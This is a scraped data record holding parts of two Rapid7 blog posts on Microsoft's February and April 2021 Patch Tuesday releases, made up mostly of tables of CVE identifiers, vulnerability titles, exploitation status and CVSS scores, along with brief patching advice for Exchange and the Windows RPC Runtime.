Vulnerability | No | No | 7.8 | Yes \n \n## System Center Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-1728](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1728>) | System Center Operations Manager Elevation of Privilege Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-24092](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24092>) | Microsoft Defender Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n \n#### Windows Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-1732](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732>) | Windows Win32k Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-1698](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1698>) | Windows Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-24075](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24075>) | Windows Network File System Denial of Service Vulnerability | No | No | 6.8 | No \n[CVE-2021-24084](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24084>) | Windows Mobile Device Management Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-24096](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24096>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-24093](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24093>) | Windows Graphics Component Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-24106](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24106>) | Windows DirectX Information Disclosure Vulnerability | No | Yes | 5.5 | Yes \n[CVE-2021-24098](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24098>) | Windows Console Driver Denial of Service Vulnerability | No | Yes | 5.5 | Yes \n[CVE-2021-24091](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24091>) | Windows Camera Codec Pack Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-24079](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24079>) | Windows Backup Engine Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-1731](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1731>) | PFX Encryption Security Feature Bypass Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-24082](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24082>) | Microsoft.PowerShell.Utility Module WDAC Security Feature Bypass Vulnerability | No | No | 4.3 | No \n[CVE-2021-24076](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24076>) | Microsoft Windows VMSwitch Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-24081](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24081>) | Microsoft Windows Codecs Library Remote Code Execution Vulnerability | No | No | 7.8 | No \n \n### Summary Charts\n\n![Patch Tuesday - February 2021](https://blog.rapid7.com/content/images/2021/02/2021-02-vuln_count_component.png)![Patch Tuesday - February 2021](https://blog.rapid7.com/content/images/2021/02/2021-02-cvssv3_hist.png)![Patch Tuesday - February 2021](https://blog.rapid7.com/content/images/2021/02/2021-02-vuln_count_severity.png)![Patch Tuesday - February 2021](https://blog.rapid7.com/content/images/2021/02/2021-02-vuln_count_impact.png)\n\n________Note: _______Chart_______ data is reflective of data presented by Microsoft's CVRF at the time of writing.________", "cvss3": {}, "published": "2021-02-09T23:51:27", "type": "rapid7blog", "title": "Patch Tuesday - February 2021", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1472", "CVE-2021-1639", "CVE-2021-1698", "CVE-2021-1721", "CVE-2021-1722", "CVE-2021-1724", "CVE-2021-1726", "CVE-2021-1727", "CVE-2021-1728", "CVE-2021-1730", "CVE-2021-1731", "CVE-2021-1732", "CVE-2021-1733", "CVE-2021-1734", "CVE-2021-21017", "CVE-2021-21142", "CVE-2021-21143", "CVE-2021-21144", "CVE-2021-21145", "CVE-2021-21146", "CVE-2021-21147", "CVE-2021-21148", "CVE-2021-24066", "CVE-2021-24067", "CVE-2021-24068", "CVE-2021-24069", "CVE-2021-24070", "CVE-2021-24071", "CVE-2021-24072", "CVE-2021-24073", "CVE-2021-24074", "CVE-2021-24075", "CVE-2021-24076", "CVE-2021-24077", "CVE-2021-24078", "CVE-2021-24079", "CVE-2021-24080", "CVE-2021-24081", "CVE-2021-24082", "CVE-2021-24083", "CVE-2021-24084", "CVE-2021-24085", "CVE-2021-24086", "CVE-2021-24087", "CVE-2021-24088", "CVE-2021-24091", "CVE-2021-24092", "CVE-2021-24093", "CVE-2021-24094", "CVE-2021-24096", "CVE-2021-24098", "CVE-2021-24099", "CVE-2021-24100", "CVE-2021-24101", "CVE-2021-24102", "CVE-2021-24103", "CVE-2021-24105", "CVE-2021-24106", "CVE-2021-24109", "CVE-2021-24111", "CVE-2021-24112", "CVE-2021-24113", "CVE-2021-24114", "CVE-2021-25195", "CVE-2021-26700", "CVE-2021-26701"], "modified": "2021-02-09T23:51:27", "id": "RAPID7BLOG:44EA89871AFF6881B909B9FD0E07034F", "href": "https://blog.rapid7.com/2021/02/09/patch-tuesday-february-2021/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-15T10:50:55", "description": "![Patch Tuesday - April 2021](https://blog.rapid7.com/content/images/2021/04/patches-2.jpg)\n\nPatch Tuesday is here again and there are more Exchange updates to apply! A total of 114 vulnerabilities were fixed this month with more than half of them affecting all versions of Windows, with about half of them being remote code execution bugs, and about a fifth of them being rated as critical by Microsoft. Let's dive in!\n\n## New Exchange Server Patches Available\n\nIf you were only going to patch one thing today, please let it be this. Exchange Server has been a hot topic since the vulnerabilities announced in the out-of-band advisory back at the beginning of March saw widespread exploitation. The vulnerabilities this month were reported to Microsoft via the NSA in the interest of national security. The Exchange team has [also released a very helpful blog post with instructions](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617 >) on how to patch from any version to the latest secure version. While these have not been exploited in the wild at the time of writing it is only a matter of time before someone reverse engineers the patches and gets up to no good.\n\nCVEs: [CVE-2021-28310](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28310>), [CVE-2021-28481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28481>), [CVE-2021-28482](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28482>), [CVE-2021-28483](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28483>)\n\n## Windows RPC Runtime\n\nNext up we have a relatively high number of patches in the Windows Remote Procedure Call Runtime. There were 27 remote code execution vulnerabilities fixed this month. Someone was busy finding bugs! The RPC Runtime is available on all versions of Windows so make sure both Servers and Clients get these updates. Many of these are critical (according to the CVSS3 vectors) requiring no user interaction and only network level access. \n\nCVEs: [CVE-2021-28329](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28329>) to [CVE-2021-28339](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28339>) (please see the list below for a complete list)\n\n## Publicly Disclosed and Exploited\n\nLastly, we have a few vulnerabilities that have been disclosed publicly and one observed in the wild. A few of these are low severity but we rarely see vulnerabilities leveraged by themselves these days. Many attackers have shifted to using exploit chains in order to turn a few low severity bugs into a more complete compromise. Microsoft has also rated a few information disclosure vulnerabilities as \"Exploitation More Likely\" in SMB Server and the TCP/IP stack.\n\nCVEs: [CVE-2021-27091](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27091>), [CVE-2021-28310](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28310>), [CVE-2021-28312](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28312>), [CVE-2021-28437](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28437>), [CVE-2021-28458](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28458>), [CVE-2021-28324](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28324>), [CVE-2021-28442](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28442>)\n\n## Summary Tables\n\nHere are this month's patched vulnerabilities split by the product family.\n\n## Azure Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28458](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28458>) | Azure ms-rest-nodeauth Library Elevation of Privilege Vulnerability | No | Yes | 7.8 | No \n[CVE-2021-28460](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28460>) | Azure Sphere Unsigned Code Execution Vulnerability | No | No | 8.1 | Yes \n \n## Browser Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-21199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21199>) | Chromium: CVE-2021-21199 Use Use after free in Aura | No | No | N/A | Yes \n[CVE-2021-21198](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21198>) | Chromium: CVE-2021-21198 Out of bounds read in IPC | No | No | N/A | Yes \n[CVE-2021-21197](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21197>) | Chromium: CVE-2021-21197 Heap buffer overflow in TabStrip | No | No | N/A | Yes \n[CVE-2021-21196](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21196>) | Chromium: CVE-2021-21196 Heap buffer overflow in TabStrip | No | No | N/A | Yes \n[CVE-2021-21195](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21195>) | Chromium: CVE-2021-21195 Use after free in V8 | No | No | N/A | Yes \n[CVE-2021-21194](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21194>) | Chromium: CVE-2021-21194 Use after free in screen capture | No | No | N/A | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27064](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27064>) | Visual Studio Installer Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28457](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28457>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28469](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28469>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28475](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28475>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28473](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28473>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28477](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28477>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7 | No \n[CVE-2021-28472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28472>) | Visual Studio Code Maven for Java Extension Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28448](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28448>) | Visual Studio Code Kubernetes Tools Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28470](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28470>) | Visual Studio Code GitHub Pull Requests and Issues Extension Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28471](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28471>) | Remote Development Extension for Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-27067](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27067>) | Azure DevOps Server and Team Foundation Server Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-28459](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28459>) | Azure DevOps Server Spoofing Vulnerability | No | No | 6.1 | No \n \n## Exchange Server Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28480](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28480>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-28481](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28481>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-28483](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28483>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9 | Yes \n[CVE-2021-28482](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28482>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n \nMicrosoft Office Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28453](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28453>) | Microsoft Word Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28450](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28450>) | Microsoft SharePoint Denial of Service Update | No | No | 5 | No \n[CVE-2021-28452](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28452>) | Microsoft Outlook Memory Corruption Vulnerability | No | No | 7.1 | Yes \n[CVE-2021-28449](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28449>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28451](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28451>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28454](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28454>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28456](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28456>) | Microsoft Excel Information Disclosure Vulnerability | No | No | 5.5 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28442](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28442>) | Windows TCP/IP Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-28319](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28319>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-28347](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28347>) | Windows Speech Runtime Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28351](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28351>) | Windows Speech Runtime Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28436](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28436>) | Windows Speech Runtime Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-27086](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27086>) | Windows Services and Controller App Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-27090](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27090>) | Windows Secure Kernel Mode Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28324](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28324>) | Windows SMB Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-28325](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28325>) | Windows SMB Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-28320](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28320>) | Windows Resource Manager PSM Service Extension Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26417](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26417>) | Windows Overlay Filter Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-28312](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28312>) | Windows NTFS Denial of Service Vulnerability | No | Yes | 3.3 | No \n[CVE-2021-27079](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27079>) | Windows Media Photo Codec Information Disclosure Vulnerability | No | No | 5.7 | Yes \n[CVE-2021-28444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28444>) | Windows Hyper-V Security Feature Bypass Vulnerability | No | No | 5.7 | Yes \n[CVE-2021-28441](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28441>) | Windows Hyper-V Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-28314](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28314>) | Windows Hyper-V Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26416](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26416>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 7.7 | Yes \n[CVE-2021-28435](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28435>) | Windows Event Tracing Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-27088](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27088>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-27094](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27094>) | Windows Early Launch Antimalware Driver Security Feature Bypass Vulnerability | No | No | 4.4 | No \n[CVE-2021-28447](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28447>) | Windows Early Launch Antimalware Driver Security Feature Bypass Vulnerability | No | No | 4.4 | No \n[CVE-2021-28438](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28438>) | Windows Console Driver Denial of Service Vulnerability | No | No | 5.5 | No \n[CVE-2021-28311](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28311>) | Windows Application Compatibility Cache Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2021-28326](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28326>) | Windows AppX Deployment Server Denial of Service Vulnerability | No | No | 5.5 | No \n[CVE-2021-28310](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28310>) | Win32k Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-27072](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27072>) | Win32k Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-28464](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28464>) | VP9 Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28466](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28466>) | Raw Image Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28468](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28468>) | Raw Image Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27092](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27092>) | Azure AD Web Sign-in Security Feature Bypass Vulnerability | No | No | 6.8 | No \n \n## Windows Developer Tools Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28313](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28313>) | Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28321](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28321>) | Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28322](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28322>) | Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n \n## Windows ESU Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-28316](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28316>) | Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability | No | No | 4.2 | No \n[CVE-2021-28439](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28439>) | Windows TCP/IP Driver Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-28446](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28446>) | Windows Portmapping Information Disclosure Vulnerability | No | No | 7.1 | Yes \n[CVE-2021-28445](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28445>) | Windows Network File System Remote Code Execution Vulnerability | No | No | 8.1 | No \n[CVE-2021-27095](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27095>) | Windows Media Video Decoder Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-28315](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28315>) | Windows Media Video Decoder Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27093](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27093>) | Windows Kernel Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-28309](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28309>) | Windows Kernel Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-26413](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26413>) | Windows Installer Spoofing Vulnerability | No | No | 6.2 | No \n[CVE-2021-28437](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28437>) | Windows Installer Information Disclosure Vulnerability | No | Yes | 5.5 | Yes \n[CVE-2021-26415](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26415>) | Windows Installer Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-28440](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28440>) | Windows Installer Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-28348](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28348>) | Windows GDI+ Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28349](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28349>) | Windows GDI+ Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28350](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28350>) | Windows GDI+ Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-28318](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28318>) | Windows GDI+ Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-28323](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28323>) | Windows DNS Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-28328](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28328>) | Windows DNS Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-28443](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28443>) | Windows Console Driver Denial of Service Vulnerability | No | No | 5.5 | No \n[CVE-2021-28329](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28329>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28330](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28330>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28331](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28331>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28332](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28332>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28333](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28333>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28334](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28334>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28335](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28335>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28336](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28336>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28337](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28337>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28338](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28338>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28339](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28339>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28343](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28343>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28327](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28327>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28340](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28340>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28341](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28341>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28342](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28342>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28344](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28344>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28345](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28345>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28346](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28346>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28352](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28352>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28353](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28353>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28354](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28354>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28355](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28355>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-28356](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28356>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | No 